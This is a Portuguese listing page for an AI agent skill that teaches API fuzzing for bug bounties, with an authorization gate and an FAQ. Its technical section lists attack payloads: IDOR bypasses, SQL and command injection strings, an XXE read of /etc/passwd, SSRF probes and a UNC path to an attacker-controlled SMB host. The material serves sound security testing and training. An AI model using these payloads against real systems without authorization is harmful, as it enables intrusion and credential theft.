api-fuzzing-bug-bounty
Ensina seu agente a testar APIs em busca de falhas de segurança. Ele usa técnicas avançadas para encontrar vulnerabilidades em diferentes tipos de APIs.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em APIs (interfaces que permitem que diferentes programas conversem entre si). Ela testa diferentes tipos de APIs (REST, SOAP, GraphQL) para descobrir vulnerabilidades.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo.
- ✓Ao procurar por 'bugs' em programas para ganhar recompensas (bug bounty).
- ✓Em treinamentos de segurança para aprender sobre ataques a APIs.
Exemplo do que pedir para a IA
“Quero testar a segurança da API em 'meusite.com/api'. Tenho autorização para isso.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta diferentes tipos de ataques, como tentar acessar dados que não deveria, burlar logins ou injetar comandos maliciosos. Ela verifica se a API reage de forma inesperada a essas tentativas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bountyOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/api-fuzzing-bug-bounty/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Fuzzing de API para Caça a Bugs
Propósito
Fornecer técnicas abrangentes para testar APIs REST, SOAP e GraphQL durante atividades de caça a bugs e testes de penetração. Abrange descoberta de vulnerabilidades, bypass de autenticação, exploração de IDOR e vetores de ataque específicos de API.
Entradas/Pré-requisitos
- Burp Suite ou ferramenta proxy similar
- Listas de palavras para API (SecLists, api_wordlist)
- Compreensão dos protocolos REST/GraphQL/SOAP
- Python para scripting
- Endpoints da API alvo e documentação (se disponível)
Saídas/Entregáveis
- Vulnerabilidades de API identificadas
- Provas de exploração de IDOR
- Técnicas de bypass de autenticação
- Pontos de injeção SQL
- Documentação de acesso não autorizado a dados
Visão Geral dos Tipos de API
| Tipo | Protocolo | Formato de Dados | Estrutura |
|---|---|---|---|
| SOAP | HTTP | XML | Cabeçalho + Corpo |
| REST | HTTP | JSON/XML/URL | Endpoints definidos |
| GraphQL | HTTP | Consulta personalizada | Endpoint único |
Fluxo de Trabalho Principal
Etapa 1: Reconhecimento de API
Identifique o tipo de API e enumere os endpoints:
# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html
# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite
# Extract paths from Swagger
python3 json2paths.py swagger.json
Etapa 2: Teste de Autenticação
# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login
# Check rate limiting on auth endpoints
# If no rate limit → brute force possible
# Test mobile vs web API separately
# Don't assume same security controls
Etapa 3: Teste de IDOR
Insecure Direct Object Reference é a vulnerabilidade de API mais comum:
# Basic IDOR
GET /api/users/1234 → GET /api/users/1235
# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com
# Test /me/orders vs /user/654321/orders
Técnicas de Bypass de IDOR:
# Wrap ID in array
{"id":111} → {"id":[111]}
# JSON wrap
{"id":111} → {"id":{"id":111}}
# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>
# Wildcard injection
{"user_id":"*"}
# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}
Etapa 4: Teste de Injeção
Injeção SQL em JSON:
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
Injeção de Comando:
# Ruby on Rails
?url=Kernel#open → ?url=|ls
# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/
Injeção XXE:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
SSRF via API:
<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>
Vulnerabilidade .NET Path.Combine:
# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
Etapa 5: Teste de Métodos
# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1
# Switch content type
Content-Type: application/json → application/xml
Testes Específicos de GraphQL
…
Perguntas frequentes
O que é uma API?
API é como um garçom em um restaurante. Você (um programa) faz um pedido (dados ou ação), o garçom leva para a cozinha (outro programa ou servidor) e traz a resposta de volta para você.
O que é 'bug bounty'?
É um programa onde empresas oferecem recompensas em dinheiro para quem encontrar e reportar falhas de segurança em seus sistemas.
Preciso de permissão para usar esta ferramenta?
Sim, absolutamente. Você só pode usar esta ferramenta em sistemas para os quais tem permissão explícita e por escrito. Usá-la sem permissão é ilegal.
Detalhes
Descrição original do autor
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #2159
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
api-connector-builder
Faz seu agente construir novas conexões com APIs seguindo o padrão já existente. Use quando precisar adicionar mais uma integração sem criar um novo jeito de fazer.
affaan-m/ECC
api-design
Ajuda seu agente a projetar APIs REST seguindo as melhores práticas. É útil para definir como as APIs se comunicam, como os erros são mostrados e como organizar os dados.
affaan-m/ECC
backend-patterns
Ajuda seu agente com padrões de arquitetura do lado do servidor e otimização de banco de dados. É útil para construir ou revisar o código que roda no servidor.
affaan-m/ECC